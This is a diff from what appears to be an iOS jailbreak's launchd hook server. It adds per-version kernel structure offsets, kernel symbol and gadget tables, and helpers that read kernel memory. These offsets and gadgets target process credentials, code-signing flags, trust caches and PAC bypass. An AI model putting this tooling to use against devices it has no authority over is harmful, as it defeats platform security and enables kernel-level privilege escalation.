+ cpu_subtype_t cpuFamily = 0;
+ size_t cpuFamilySize = sizeof(cpuFamily);
+ sysctlbyname("hw.cpufamily", &cpuFamily, &cpuFamilySize, NULL, 0);
+
+ bool hasJitbox = (cpuFamily == CPUFAMILY_ARM_BLIZZARD_AVALANCHE || // A15
+ cpuFamily == CPUFAMILY_ARM_EVEREST_SAWTOOTH || // A16
+ cpuFamily == CPUFAMILY_ARM_COLL); // A17
+
+ uint32_t taskJitboxAdjust = 0x0;
+ if (hasJitbox) {
+ taskJitboxAdjust = 0x10;
+ if (strcmp(xnuVersion, "22.0.0") >= 0) {
+ // In iOS 16, there is a new jitbox related attribute
+ taskJitboxAdjust = 0x18;
+ }
+ }
+
+ uint32_t pmapEl2Adjust = ((kconstant(kernel_el) == 2) ? 8 : 0);
+
+#ifndef __arm64e__
+ uint32_t pmapA11Adjust = 0;
+ if (cpuFamily == CPUFAMILY_ARM_MONSOON_MISTRAL) {
+ if (strcmp(xnuVersion, "21.0.0") >= 0) { // iOS 15+
+ pmapA11Adjust = 1;
+ if (strcmp(xnuVersion, "22.0.0") >= 0) { // iOS 16+
+ pmapA11Adjust = 2;
+ }
+ }
+ }
+#endif
+
+ // proc
+ gSystemInfo.kernelStruct.proc.list_next = 0x0;
+ gSystemInfo.kernelStruct.proc.list_prev = 0x8;
+ gSystemInfo.kernelStruct.proc.task = 0x10;
+ gSystemInfo.kernelStruct.proc.pptr = 0x18;
+ gSystemInfo.kernelStruct.proc.pid = 0x68;
+
+ // filedesc
+ gSystemInfo.kernelStruct.filedesc.ofiles_start = 0x20;
+
+ // file
+ gSystemInfo.kernelStruct.fileproc.fileglob = 0x10;
+ gSystemInfo.kernelStruct.fileglob.vnode = 0x38;
+
+ // file
+ gSystemInfo.kernelStruct.fileproc.fileglob = 0x10;
+ gSystemInfo.kernelStruct.fileglob.vnode = 0x38;
+
+ // vnode
+ gSystemInfo.kernelStruct.vnode.id = 0x74;
+ gSystemInfo.kernelStruct.vnode.usecount = 0x60;
+ gSystemInfo.kernelStruct.vnode.ncchildren.tqh_first = 0x30;
+ gSystemInfo.kernelStruct.vnode.ncchildren.tqh_last = 0x38;
+ gSystemInfo.kernelStruct.vnode.parent = 0xc0;
+ gSystemInfo.kernelStruct.vnode.nclinks.lh_first = 0x40;
+
+ // namecache
+ gSystemInfo.kernelStruct.namecache.smr = false;
+ gSystemInfo.kernelStruct.namecache.child.tqe_next = 0x10;
+ gSystemInfo.kernelStruct.namecache.child.tqe_prev = 0x18;
+ gSystemInfo.kernelStruct.namecache.hash.le_next = 0x30;
+ gSystemInfo.kernelStruct.namecache.hash.le_prev = 0x38;
+ gSystemInfo.kernelStruct.namecache.dvp = 0x40;
+ gSystemInfo.kernelStruct.namecache.vp = 0x48;
+ gSystemInfo.kernelStruct.namecache.hashval = 0x50;
+ gSystemInfo.kernelStruct.namecache.name = 0x58;
+
+ // task
+ gSystemInfo.kernelStruct.task.map = 0x28;
+ gSystemInfo.kernelStruct.task.threads = 0x60;
+
+ // ipc_space
+ gSystemInfo.kernelStruct.ipc_space.table = 0x20;
+ gSystemInfo.kernelStruct.ipc_space.table_uses_smr = false;
+
+ // ipc_entry
+ gSystemInfo.kernelStruct.ipc_entry.object = 0x0;
+ gSystemInfo.kernelStruct.ipc_entry.struct_size = 0x18;
+
+ // vm_map
+ gSystemInfo.kernelStruct.vm_map.hdr = 0x10;
+
+ // pmap
+ gSystemInfo.kernelStruct.pmap.tte = 0x0;
+ gSystemInfo.kernelStruct.pmap.ttep = 0x8;
+#ifdef __arm64e__
+ gSystemInfo.kernelStruct.pmap.pmap_cs_main = 0x90;
+ gSystemInfo.kernelStruct.pmap.sw_asid = 0xBE + pmapEl2Adjust;
+ gSystemInfo.kernelStruct.pmap.wx_allowed = 0xC2 + pmapEl2Adjust;
+ gSystemInfo.kernelStruct.pmap.type = 0xC8 + pmapEl2Adjust;
+#else
+ gSystemInfo.kernelStruct.pmap.sw_asid = 0x96;
+ gSystemInfo.kernelStruct.pmap.wx_allowed = 0;
+ gSystemInfo.kernelStruct.pmap.type = 0x9c + pmapA11Adjust;
+#endif
+
+#ifdef __arm64e__
+ // pmap_cs_region
+ gSystemInfo.kernelStruct.pmap_cs_region.pmap_cs_region_next = 0x0;
+ gSystemInfo.kernelStruct.pmap_cs_region.cd_entry = 0x28;
+
+ // pmap_cs_code_directory
+ gSystemInfo.kernelStruct.pmap_cs_code_directory.pmap_cs_code_directory_next = 0x0;
+ gSystemInfo.kernelStruct.pmap_cs_code_directory.main_binary = 0x50;
+ gSystemInfo.kernelStruct.pmap_cs_code_directory.trust = 0x9C;
+#endif
+
+ // pt_desc
+ gSystemInfo.kernelStruct.pt_desc.pmap = 0x10;
+ gSystemInfo.kernelStruct.pt_desc.va = 0x18;
+ gSystemInfo.kernelStruct.pt_desc.ptd_info = koffsetof(pt_desc, va) + (kconstant(PT_INDEX_MAX) * sizeof(uint64_t));
+
+ // vm_map_header
+ gSystemInfo.kernelStruct.vm_map_header.links = 0x0;
+
+ // vm_map_entry
+ gSystemInfo.kernelStruct.vm_map_entry.links = 0x0;
+ gSystemInfo.kernelStruct.vm_map_entry.flags = 0x48;
+
+ // vm_map_links
+ gSystemInfo.kernelStruct.vm_map_links.prev = 0x0;
+ gSystemInfo.kernelStruct.vm_map_links.next = 0x8;
+ gSystemInfo.kernelStruct.vm_map_links.min = 0x10;
+ gSystemInfo.kernelStruct.vm_map_links.max = 0x18;
+
+ // ucred
+ uint32_t ucred_cr_posix = 0x18;
+ gSystemInfo.kernelStruct.ucred.uid = ucred_cr_posix + 0x0;
+ gSystemInfo.kernelStruct.ucred.ruid = ucred_cr_posix + 0x4;
+ gSystemInfo.kernelStruct.ucred.svuid = ucred_cr_posix + 0x8;
+ gSystemInfo.kernelStruct.ucred.groups = ucred_cr_posix + 0x10;
+ gSystemInfo.kernelStruct.ucred.rgid = ucred_cr_posix + 0x50;
+ gSystemInfo.kernelStruct.ucred.svgid = ucred_cr_posix + 0x54;
+ gSystemInfo.kernelStruct.ucred.label = 0x78;
+
+ if (strcmp(xnuVersion, "21.0.0") >= 0) { // iOS 15+
+ // proc
+ gSystemInfo.kernelStruct.proc.svuid = 0x3C;
+ gSystemInfo.kernelStruct.proc.svgid = 0x40;
+ gSystemInfo.kernelStruct.proc.ucred = 0xD8;
+ gSystemInfo.kernelStruct.proc.fd = 0xE0;
+ gSystemInfo.kernelStruct.proc.flag = 0x1BC;
+ gSystemInfo.kernelStruct.proc.textvp = 0x2A8;
+ gSystemInfo.kernelStruct.proc.csflags = 0x300;
+
+ // task
+#ifdef __arm64e__
+ gSystemInfo.kernelStruct.task.task_can_transfer_memory_ownership = 0x5B0 + taskJitboxAdjust;
+#else
+ gSystemInfo.kernelStruct.task.task_can_transfer_memory_ownership = 0x590;
+#endif
+
+ // ipc_port
+ gSystemInfo.kernelStruct.ipc_port.kobject = 0x58;
+
+ // vm_map
+ gSystemInfo.kernelStruct.vm_map.flags = 0x11C;
+
+ // trustcache
+ gSystemInfo.kernelStruct.trustcache.nextptr = 0x0;
+ gSystemInfo.kernelStruct.trustcache.fileptr = 0x8;
+ gSystemInfo.kernelStruct.trustcache.struct_size = 0x10;
+
+ if (strcmp(xnuVersion, "21.2.0") >= 0) { // iOS 15.2+
+ // proc
+ gSystemInfo.kernelStruct.proc.ucred = 0x0; // Moved to proc_ro
+ gSystemInfo.kernelStruct.proc.csflags = 0x0; // Moved to proc_ro
+ gSystemInfo.kernelStruct.proc.proc_ro = 0x20;
+ gSystemInfo.kernelStruct.proc.svuid = 0x44;
+ gSystemInfo.kernelStruct.proc.svgid = 0x48;
+ gSystemInfo.kernelStruct.proc.fd = 0xD8;
+ gSystemInfo.kernelStruct.proc.flag = 0x264;
+ gSystemInfo.kernelStruct.proc.textvp = 0x358;
+
+ // proc_ro
+ gSystemInfo.kernelStruct.proc_ro.exists = true;
+ gSystemInfo.kernelStruct.proc_ro.csflags = 0x1C;
+ gSystemInfo.kernelStruct.proc_ro.ucred = 0x20;
+
+ // task
+#ifdef __arm64e__
+ gSystemInfo.kernelStruct.task.task_can_transfer_memory_ownership = 0x580 + taskJitboxAdjust;
+#else
+ gSystemInfo.kernelStruct.task.task_can_transfer_memory_ownership = 0x560;
+#endif
+ if (strcmp(xnuVersion, "21.4.0") >= 0) { // iOS 15.4+
+ // proc
+ gSystemInfo.kernelStruct.proc.textvp = 0x350;
+
+ // vm_map
+ gSystemInfo.kernelStruct.vm_map.flags = 0x94;
+
+ // ipc_port
+ gSystemInfo.kernelStruct.ipc_port.kobject = 0x48;
+
+ if (strcmp(xnuVersion, "22.0.0") >= 0) { // iOS 16+
+ gSystemInfo.kernelConstant.smrBase = 3;
+
+ // proc
+ gSystemInfo.kernelStruct.proc.task = 0x0; // Removed, task is now at (proc + sizeof(proc))
+ gSystemInfo.kernelStruct.proc.pptr = 0x10;
+ gSystemInfo.kernelStruct.proc.proc_ro = 0x18;
+ gSystemInfo.kernelStruct.proc.svuid = 0x3C;
+ gSystemInfo.kernelStruct.proc.svgid = 0x40;
+ gSystemInfo.kernelStruct.proc.pid = 0x60;
+ gSystemInfo.kernelStruct.proc.fd = 0xD8;
+ gSystemInfo.kernelStruct.proc.flag = 0x25C;
+ gSystemInfo.kernelStruct.proc.textvp = 0x350;
+
+ gSystemInfo.kernelStruct.proc_ro.syscall_filter_mask = 0x28;
+ gSystemInfo.kernelStruct.proc_ro.mach_trap_filter_mask = 0x68;
+ gSystemInfo.kernelStruct.proc_ro.mach_kobj_filter_mask = 0x70;
+
+ // task
+#ifdef __arm64e__
+ gSystemInfo.kernelStruct.task.task_can_transfer_memory_ownership = 0x548 + taskJitboxAdjust;
+#else
+ gSystemInfo.kernelStruct.task.task_can_transfer_memory_ownership = 0x528;
+#endif
+ // vm_map
+ gSystemInfo.kernelStruct.vm_map.flags = 0xB4;
+
+ // trustcache
+ gSystemInfo.kernelStruct.trustcache.nextptr = 0x0;
+ gSystemInfo.kernelStruct.trustcache.prevptr = 0x8;
+ gSystemInfo.kernelStruct.trustcache.size = 0x18;
+ gSystemInfo.kernelStruct.trustcache.fileptr = 0x20;
+ gSystemInfo.kernelStruct.trustcache.struct_size = 0x28;
+
+ // pmap
+#ifdef __arm64e__
+ gSystemInfo.kernelStruct.pmap.sw_asid = 0xB6 + pmapEl2Adjust;
+ gSystemInfo.kernelStruct.pmap.wx_allowed = 0xBA + pmapEl2Adjust;
+ gSystemInfo.kernelStruct.pmap.type = 0xC0 + pmapEl2Adjust;
+#else
+ gSystemInfo.kernelStruct.pmap.sw_asid = 0x8e;
+ gSystemInfo.kernelStruct.pmap.wx_allowed = 0;
+ gSystemInfo.kernelStruct.pmap.type = 0x94 + pmapA11Adjust;
+#endif
+
+#ifdef __arm64e__
+ // pmap_cs_code_directory
+ gSystemInfo.kernelStruct.pmap_cs_code_directory.main_binary = 0x190;
+ gSystemInfo.kernelStruct.pmap_cs_code_directory.trust = 0x1DC;
+#endif
+
+ if (strcmp(xnuVersion, "22.1.0") >= 0) { // iOS 16.1+
+ gSystemInfo.kernelStruct.ipc_space.table_uses_smr = true;
+ if (strcmp(xnuVersion, "22.3.0") >= 0) { // iOS 16.3+
+ gSystemInfo.kernelConstant.smrBase = 2;
+ if (strcmp(xnuVersion, "22.4.0") >= 0) { // iOS 16.4+
+ // namecache
+ gSystemInfo.kernelStruct.namecache.smr = true;
+ gSystemInfo.kernelStruct.namecache.dvp = 0x48;
+ gSystemInfo.kernelStruct.namecache.vp = 0x50;
+ gSystemInfo.kernelStruct.namecache.hashval = 0x58;
+ gSystemInfo.kernelStruct.namecache.name = 0x60;
+
+ // proc
+ gSystemInfo.kernelStruct.proc.flag = 0x454;
+ gSystemInfo.kernelStruct.proc.textvp = 0x548;
+
+#ifdef __arm64e__
+ // pmap_cs_code_directory
+ gSystemInfo.kernelStruct.pmap_cs_code_directory.trust = 0x1EC;
+#endif
+
+ if (strcmp(xnuVersion, "22.4.0") == 0) { // iOS 16.4 ONLY
+ // iOS 16.4 beta 1-3 use the old proc struct, 16.4b4+ use new
+ if (gSystemInfo.kernelStruct.proc.struct_size != 0x730) {
+ gSystemInfo.kernelStruct.proc.flag = 0x25C;
+ gSystemInfo.kernelStruct.proc.textvp = 0x350;
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+}
+
+void jbinfo_initialize_boot_constants(void)
+{
+ gSystemInfo.kernelConstant.base = kconstant(staticBase) + gSystemInfo.kernelConstant.slide;
+ gSystemInfo.kernelConstant.virtBase = kread64(ksymbol(gVirtBase));
+ //gSystemInfo.kernelConstant.virtSize = ...;
+ gSystemInfo.kernelConstant.physBase = kread64(ksymbol(gPhysBase));
+ gSystemInfo.kernelConstant.physSize = kread64(ksymbol(gPhysSize));
+ gSystemInfo.kernelConstant.cpuTTEP = kread64(ksymbol(cpu_ttep));
+}
+
+xpc_object_t jbinfo_get_serialized(void)
+{
+ xpc_object_t systemInfo = xpc_dictionary_create_empty();
+ SYSTEM_INFO_SERIALIZE(systemInfo);
+ return systemInfo;
+}
+
+uint64_t get_vm_real_kernel_page_size(void)
+{
+ static uint64_t real_kernel_page_size = 0;
+ static dispatch_once_t onceToken;
+ dispatch_once(&onceToken, ^{
+ real_kernel_page_size = vm_kernel_page_size;
+
+ // vm_kernel_page_size is WRONG on A8X
+ // Screw Apple
+ cpu_subtype_t cpuFamily = 0;
+ size_t cpuFamilySize = sizeof(cpuFamily);
+ sysctlbyname("hw.cpufamily", &cpuFamily, &cpuFamilySize, NULL, 0);
+ if (cpuFamily == CPUFAMILY_ARM_TYPHOON) {
+ real_kernel_page_size = 0x1000;
+ }
+ });
+ return real_kernel_page_size;
+}
+
+
+uint64_t get_vm_real_kernel_page_shift(void)
+{
+ static uint64_t real_kernel_page_shift = 0;
+ static dispatch_once_t onceToken;
+ dispatch_once(&onceToken, ^{
+ real_kernel_page_shift = vm_kernel_page_shift;
+
+ // vm_kernel_page_shift is WRONG on A8X
+ // Screw Apple
+ cpu_subtype_t cpuFamily = 0;
+ size_t cpuFamilySize = sizeof(cpuFamily);
+ sysctlbyname("hw.cpufamily", &cpuFamily, &cpuFamilySize, NULL, 0);
+ if (cpuFamily == CPUFAMILY_ARM_TYPHOON) {
+ real_kernel_page_shift = 14;
+ }
+ });
+ return real_kernel_page_shift;
+}
+
+uint64_t get_l1_block_size(void)
+{
+ switch (vm_real_kernel_page_size) {
+ case 0x4000:
+ return 0x1000000000;
+ case 0x1000:
+ return 0x40000000;
+ default:
+ return 0;
+ }
+}
+
+uint64_t get_l1_block_mask(void)
+{
+ return get_l1_block_size() - 1;
+}
+
+uint64_t get_l1_block_count(void)
+{
+ switch (vm_real_kernel_page_size) {
+ case 0x4000:
+ return 8;
+ case 0x1000:
+ return 256;
+ default:
+ return 0;
+ }
+}
+
+uint64_t get_l2_block_size(void)
+{
+ switch (vm_real_kernel_page_size) {
+ case 0x4000:
+ return 0x2000000;
+ case 0x1000:
+ return 0x200000;
+ default:
+ return 0;
+ }
+}
+
+uint64_t get_l2_block_mask(void)
+{
+ return get_l2_block_size() - 1;
+}
+
+uint64_t get_l2_block_count(void)
+{
+ switch (vm_real_kernel_page_size) {
+ case 0x4000:
+ return 2048;
+ case 0x1000:
+ return 512;
+ default:
+ return 0;
+ }
+}
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/info.h b/RootHelperSample/launchdshim/launchdhook/jbserver/info.h
new file mode 100644
index 00000000..d7293930
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/info.h
@@ -0,0 +1,538 @@
+#ifndef INFO_H
+#define INFO_H
+
+#include
+#include
+#include
+#include
+#include
+
+struct system_info {
+ struct {
+ uint64_t slide;
+ uint64_t staticBase;
+ uint64_t base;
+ uint64_t virtBase;
+ uint64_t virtSize;
+ uint64_t physBase;
+ uint64_t physSize;
+ uint64_t cpuTTEP;
+ uint64_t kernel_el;
+ uint64_t pointer_mask;
+ uint64_t T1SZ_BOOT;
+ uint64_t ARM_TT_L1_INDEX_MASK;
+ uint64_t smrBase;
+ uint64_t PT_INDEX_MAX;
+ uint64_t nsysent;
+ uint64_t mach_trap_count;
+ uint64_t nchashtbl;
+ uint64_t nchashmask;
+ } kernelConstant;
+
+ struct {
+ uint64_t usesPACBypass;
+ char *rootPath;
+ uint64_t jbrand;
+ } jailbreakInfo;
+
+ struct {
+ bool markAppsAsDebugged;
+ } jailbreakSettings;
+
+ struct {
+ // Functions
+ uint64_t perfmon_dev_open;
+ uint64_t vn_kqfilter;
+ uint64_t proc_find;
+ uint64_t proc_rele;
+ uint64_t kalloc_data_external;
+ uint64_t kfree_data_external;
+ uint64_t ml_sign_thread_state;
+ uint64_t pmap_alloc_page_for_kern;
+ uint64_t pmap_create_options;
+ uint64_t pmap_enter_options_addr;
+ uint64_t pmap_mark_page_as_ppl_page;
+ uint64_t pmap_nest;
+ uint64_t pmap_remove_options;
+ uint64_t pmap_set_nested;
+ uint64_t hw_lck_ticket_reserve_orig_allow_invalid;
+ uint64_t exception_return;
+ uint64_t mac_label_set;
+
+ // Variables
+ uint64_t perfmon_devices;
+ uint64_t cdevsw;
+ uint64_t allproc;
+ uint64_t gPhysBase;
+ uint64_t gPhysSize;
+ uint64_t gVirtBase;
+ uint64_t cpu_ttep;
+ uint64_t ptov_table;
+ uint64_t vm_first_phys;
+ uint64_t vm_first_phys_ppnum;
+ uint64_t vm_last_phys;
+ uint64_t pv_head_table;
+ uint64_t pp_attr_table;
+ uint64_t vm_page_array_beginning_addr;
+ uint64_t vm_page_array_ending_addr;
+ uint64_t pmap_image4_trust_caches;
+ uint64_t ppl_trust_cache_rt;
+ uint64_t mach_kobj_count;
+ uint64_t developer_mode_enabled;
+ } kernelSymbol;
+
+ struct {
+ uint64_t pacda;
+ uint64_t hw_lck_ticket_reserve_orig_allow_invalid_signed;
+ uint64_t ldp_x0_x1_x8;
+ uint64_t br_x22;
+ uint64_t exception_return_after_check;
+ uint64_t exception_return_after_check_no_restore;
+ uint64_t str_x0_x19_ldr_x20;
+ uint64_t str_x8_x0;
+ uint64_t str_x8_x9;
+ uint64_t kcall_return;
+ } kernelGadget;
+
+ struct {
+ struct {
+ uint32_t list_next;
+ uint32_t list_prev;
+ uint32_t task;
+ uint32_t pptr;
+ uint32_t proc_ro;
+ uint32_t svuid;
+ uint32_t svgid;
+ uint32_t pid;
+ uint32_t fd;
+ uint32_t flag;
+ uint32_t textvp;
+
+ uint32_t ucred;
+ uint32_t csflags;
+ uint32_t syscall_filter_mask;
+ uint32_t struct_size;
+ } proc;
+
+ struct {
+ bool exists;
+ uint32_t ucred;
+ uint32_t csflags;
+ uint32_t syscall_filter_mask;
+ uint32_t mach_trap_filter_mask;
+ uint32_t mach_kobj_filter_mask;
+ } proc_ro;
+
+ struct {
+ uint64_t ofiles_start; // fd_ofiles
+ } filedesc;
+
+ struct {
+ uint32_t fileglob; // fp_glob
+ } fileproc;
+
+ struct {
+ uint32_t vnode; // fg_data
+ } fileglob;
+
+ struct {
+ uint32_t id;
+ uint32_t usecount;
+ struct {
+ uint32_t tqh_first;
+ uint32_t tqh_last;
+ } ncchildren;
+ uint32_t parent;
+ struct {
+ uint32_t lh_first;
+ } nclinks;
+ } vnode;
+
+ struct {
+ bool smr;
+ struct {
+ uint32_t tqe_next;
+ uint32_t tqe_prev;
+ } child;
+ struct {
+ uint32_t le_next;
+ uint32_t le_prev;
+ } hash;
+ uint32_t dvp;
+ uint32_t vp;
+ uint32_t hashval;
+ uint32_t name;
+ } namecache;
+
+ struct {
+ uint32_t uid;
+ uint32_t ruid;
+ uint32_t svuid;
+ uint32_t groups;
+ uint32_t rgid;
+ uint32_t svgid;
+ uint32_t label;
+ } ucred;
+
+ struct {
+ uint32_t map;
+ uint32_t threads;
+ uint32_t itk_space;
+ uint32_t task_can_transfer_memory_ownership;
+ uint32_t mach_trap_filter_mask;
+ uint32_t mach_kobj_filter_mask;
+ } task;
+
+ struct {
+ uint32_t recover;
+ uint32_t machine_kstackptr;
+ uint32_t machine_CpuDatap;
+ uint32_t machine_contextData;
+ } thread;
+
+ struct {
+ uint32_t table;
+ bool table_uses_smr;
+ } ipc_space;
+
+ struct {
+ uint32_t object;
+ uint32_t struct_size;
+ } ipc_entry;
+
+ struct {
+ uint32_t kobject;
+ } ipc_port;
+
+ struct {
+ uint32_t hdr;
+ uint32_t pmap;
+ uint32_t flags;
+ } vm_map;
+
+ struct {
+ uint32_t links;
+ } vm_map_header;
+
+ struct {
+ uint32_t links;
+ uint32_t flags;
+ } vm_map_entry;
+
+ struct {
+ uint32_t prev;
+ uint32_t next;
+ uint32_t min;
+ uint32_t max;
+ } vm_map_links;
+
+ struct {
+ uint32_t tte;
+ uint32_t ttep;
+ uint32_t pmap_cs_main;
+ uint32_t sw_asid;
+ uint32_t wx_allowed;
+ uint32_t type;
+ } pmap;
+
+ struct {
+ uint32_t pmap_cs_region_next;
+ uint32_t cd_entry;
+ } pmap_cs_region;
+
+ struct {
+ uint32_t pmap_cs_code_directory_next;
+ uint32_t main_binary;
+ uint32_t trust;
+ } pmap_cs_code_directory;
+
+ struct {
+ uint32_t pmap;
+ uint32_t va;
+ uint32_t ptd_info;
+ } pt_desc;
+
+ struct {
+ uint32_t nextptr;
+ uint32_t prevptr;
+ uint32_t size;
+ uint32_t fileptr;
+
+ uint32_t struct_size;
+ } trustcache;
+ } kernelStruct;
+};
+
+extern struct system_info gSystemInfo;
+
+#define KERNEL_CONSTANTS_ITERATE(ctx, iterator) \
+ iterator(ctx, kernelConstant.slide); \
+ iterator(ctx, kernelConstant.staticBase); \
+ iterator(ctx, kernelConstant.base); \
+ iterator(ctx, kernelConstant.virtBase); \
+ iterator(ctx, kernelConstant.virtSize); \
+ iterator(ctx, kernelConstant.physBase); \
+ iterator(ctx, kernelConstant.physSize); \
+ iterator(ctx, kernelConstant.cpuTTEP); \
+ iterator(ctx, kernelConstant.kernel_el); \
+ iterator(ctx, kernelConstant.pointer_mask); \
+ iterator(ctx, kernelConstant.T1SZ_BOOT); \
+ iterator(ctx, kernelConstant.ARM_TT_L1_INDEX_MASK); \
+ iterator(ctx, kernelConstant.smrBase); \
+ iterator(ctx, kernelConstant.PT_INDEX_MAX); \
+ iterator(ctx, kernelConstant.nsysent); \
+ iterator(ctx, kernelConstant.mach_trap_count); \
+ iterator(ctx, kernelConstant.nchashtbl); \
+ iterator(ctx, kernelConstant.nchashmask);
+
+#define JAILBREAK_INFO_ITERATE(ctx, iterator) \
+ iterator(ctx, jailbreakInfo.usesPACBypass); \
+ iterator(ctx, jailbreakInfo.rootPath); \
+ iterator(ctx, jailbreakInfo.jbrand);
+
+#define JAILBREAK_SETTINGS_ITERATE(ctx, iterator) \
+ iterator(ctx, jailbreakSettings.markAppsAsDebugged);
+
+#define KERNEL_SYMBOLS_ITERATE(ctx, iterator) \
+ iterator(ctx, kernelSymbol.perfmon_dev_open); \
+ iterator(ctx, kernelSymbol.vn_kqfilter); \
+ iterator(ctx, kernelSymbol.proc_find); \
+ iterator(ctx, kernelSymbol.proc_rele); \
+ iterator(ctx, kernelSymbol.kalloc_data_external); \
+ iterator(ctx, kernelSymbol.kfree_data_external); \
+ iterator(ctx, kernelSymbol.ml_sign_thread_state); \
+ iterator(ctx, kernelSymbol.pmap_alloc_page_for_kern); \
+ iterator(ctx, kernelSymbol.pmap_create_options); \
+ iterator(ctx, kernelSymbol.pmap_enter_options_addr); \
+ iterator(ctx, kernelSymbol.pmap_mark_page_as_ppl_page); \
+ iterator(ctx, kernelSymbol.pmap_nest); \
+ iterator(ctx, kernelSymbol.pmap_remove_options); \
+ iterator(ctx, kernelSymbol.pmap_set_nested); \
+ iterator(ctx, kernelSymbol.hw_lck_ticket_reserve_orig_allow_invalid); \
+ iterator(ctx, kernelSymbol.exception_return); \
+ iterator(ctx, kernelSymbol.mac_label_set); \
+ \
+ iterator(ctx, kernelSymbol.perfmon_devices); \
+ iterator(ctx, kernelSymbol.cdevsw); \
+ iterator(ctx, kernelSymbol.allproc); \
+ iterator(ctx, kernelSymbol.gPhysBase); \
+ iterator(ctx, kernelSymbol.gPhysSize); \
+ iterator(ctx, kernelSymbol.gVirtBase); \
+ iterator(ctx, kernelSymbol.cpu_ttep); \
+ iterator(ctx, kernelSymbol.ptov_table); \
+ iterator(ctx, kernelSymbol.vm_first_phys); \
+ iterator(ctx, kernelSymbol.vm_first_phys_ppnum); \
+ iterator(ctx, kernelSymbol.vm_last_phys); \
+ iterator(ctx, kernelSymbol.pv_head_table); \
+ iterator(ctx, kernelSymbol.pp_attr_table); \
+ iterator(ctx, kernelSymbol.vm_page_array_beginning_addr); \
+ iterator(ctx, kernelSymbol.vm_page_array_ending_addr); \
+ iterator(ctx, kernelSymbol.pmap_image4_trust_caches); \
+ iterator(ctx, kernelSymbol.ppl_trust_cache_rt); \
+ iterator(ctx, kernelSymbol.mach_kobj_count); \
+ iterator(ctx, kernelSymbol.developer_mode_enabled);
+
+#define KERNEL_GADGETS_ITERATE(ctx, iterator) \
+ iterator(ctx, kernelGadget.pacda); \
+ iterator(ctx, kernelGadget.hw_lck_ticket_reserve_orig_allow_invalid_signed); \
+ iterator(ctx, kernelGadget.ldp_x0_x1_x8); \
+ iterator(ctx, kernelGadget.br_x22); \
+ iterator(ctx, kernelGadget.exception_return_after_check); \
+ iterator(ctx, kernelGadget.exception_return_after_check_no_restore); \
+ iterator(ctx, kernelGadget.str_x0_x19_ldr_x20); \
+ iterator(ctx, kernelGadget.str_x8_x0); \
+ iterator(ctx, kernelGadget.str_x8_x9); \
+ iterator(ctx, kernelGadget.kcall_return);
+
+#define KERNEL_STRUCTS_ITERATE(ctx, iterator) \
+ iterator(ctx, kernelStruct.proc.list_next); \
+ iterator(ctx, kernelStruct.proc.list_prev); \
+ iterator(ctx, kernelStruct.proc.task); \
+ iterator(ctx, kernelStruct.proc.pptr); \
+ iterator(ctx, kernelStruct.proc.proc_ro); \
+ iterator(ctx, kernelStruct.proc.svuid); \
+ iterator(ctx, kernelStruct.proc.svgid); \
+ iterator(ctx, kernelStruct.proc.pid); \
+ iterator(ctx, kernelStruct.proc.fd); \
+ iterator(ctx, kernelStruct.proc.flag); \
+ iterator(ctx, kernelStruct.proc.textvp); \
+ iterator(ctx, kernelStruct.proc.ucred); \
+ iterator(ctx, kernelStruct.proc.csflags); \
+ iterator(ctx, kernelStruct.proc.syscall_filter_mask); \
+ iterator(ctx, kernelStruct.proc.struct_size); \
+ \
+ iterator(ctx, kernelStruct.proc_ro.exists); \
+ iterator(ctx, kernelStruct.proc_ro.ucred); \
+ iterator(ctx, kernelStruct.proc_ro.csflags); \
+ iterator(ctx, kernelStruct.proc_ro.syscall_filter_mask); \
+ iterator(ctx, kernelStruct.proc_ro.mach_trap_filter_mask); \
+ iterator(ctx, kernelStruct.proc_ro.mach_kobj_filter_mask); \
+ \
+ iterator(ctx, kernelStruct.filedesc.ofiles_start); \
+ iterator(ctx, kernelStruct.fileproc.fileglob); \
+ iterator(ctx, kernelStruct.fileglob.vnode); \
+ \
+ iterator(ctx, kernelStruct.vnode.id); \
+ iterator(ctx, kernelStruct.vnode.usecount); \
+ iterator(ctx, kernelStruct.vnode.ncchildren.tqh_first); \
+ iterator(ctx, kernelStruct.vnode.ncchildren.tqh_last); \
+ iterator(ctx, kernelStruct.vnode.parent); \
+ iterator(ctx, kernelStruct.vnode.nclinks.lh_first); \
+ \
+ iterator(ctx, kernelStruct.namecache.smr); \
+ iterator(ctx, kernelStruct.namecache.child.tqe_next); \
+ iterator(ctx, kernelStruct.namecache.child.tqe_prev); \
+ iterator(ctx, kernelStruct.namecache.hash.le_next); \
+ iterator(ctx, kernelStruct.namecache.hash.le_prev); \
+ iterator(ctx, kernelStruct.namecache.dvp); \
+ iterator(ctx, kernelStruct.namecache.vp); \
+ iterator(ctx, kernelStruct.namecache.hashval); \
+ iterator(ctx, kernelStruct.namecache.name); \
+ \
+ iterator(ctx, kernelStruct.ucred.uid); \
+ iterator(ctx, kernelStruct.ucred.ruid); \
+ iterator(ctx, kernelStruct.ucred.svuid); \
+ iterator(ctx, kernelStruct.ucred.groups); \
+ iterator(ctx, kernelStruct.ucred.rgid); \
+ iterator(ctx, kernelStruct.ucred.svgid); \
+ iterator(ctx, kernelStruct.ucred.label); \
+ \
+ iterator(ctx, kernelStruct.task.map); \
+ iterator(ctx, kernelStruct.task.threads); \
+ iterator(ctx, kernelStruct.task.itk_space); \
+ iterator(ctx, kernelStruct.task.task_can_transfer_memory_ownership); \
+ iterator(ctx, kernelStruct.task.mach_trap_filter_mask); \
+ iterator(ctx, kernelStruct.task.mach_kobj_filter_mask); \
+ \
+ iterator(ctx, kernelStruct.thread.recover); \
+ iterator(ctx, kernelStruct.thread.machine_kstackptr); \
+ iterator(ctx, kernelStruct.thread.machine_CpuDatap); \
+ iterator(ctx, kernelStruct.thread.machine_contextData); \
+ \
+ iterator(ctx, kernelStruct.ipc_space.table); \
+ iterator(ctx, kernelStruct.ipc_space.table_uses_smr); \
+ \
+ iterator(ctx, kernelStruct.ipc_entry.object); \
+ iterator(ctx, kernelStruct.ipc_entry.struct_size); \
+ \
+ iterator(ctx, kernelStruct.ipc_port.kobject); \
+ \
+ iterator(ctx, kernelStruct.vm_map.hdr); \
+ iterator(ctx, kernelStruct.vm_map.pmap); \
+ iterator(ctx, kernelStruct.vm_map.flags); \
+ \
+ iterator(ctx, kernelStruct.vm_map_header.links); \
+ \
+ iterator(ctx, kernelStruct.vm_map_entry.links); \
+ iterator(ctx, kernelStruct.vm_map_entry.flags); \
+ \
+ iterator(ctx, kernelStruct.vm_map_links.prev); \
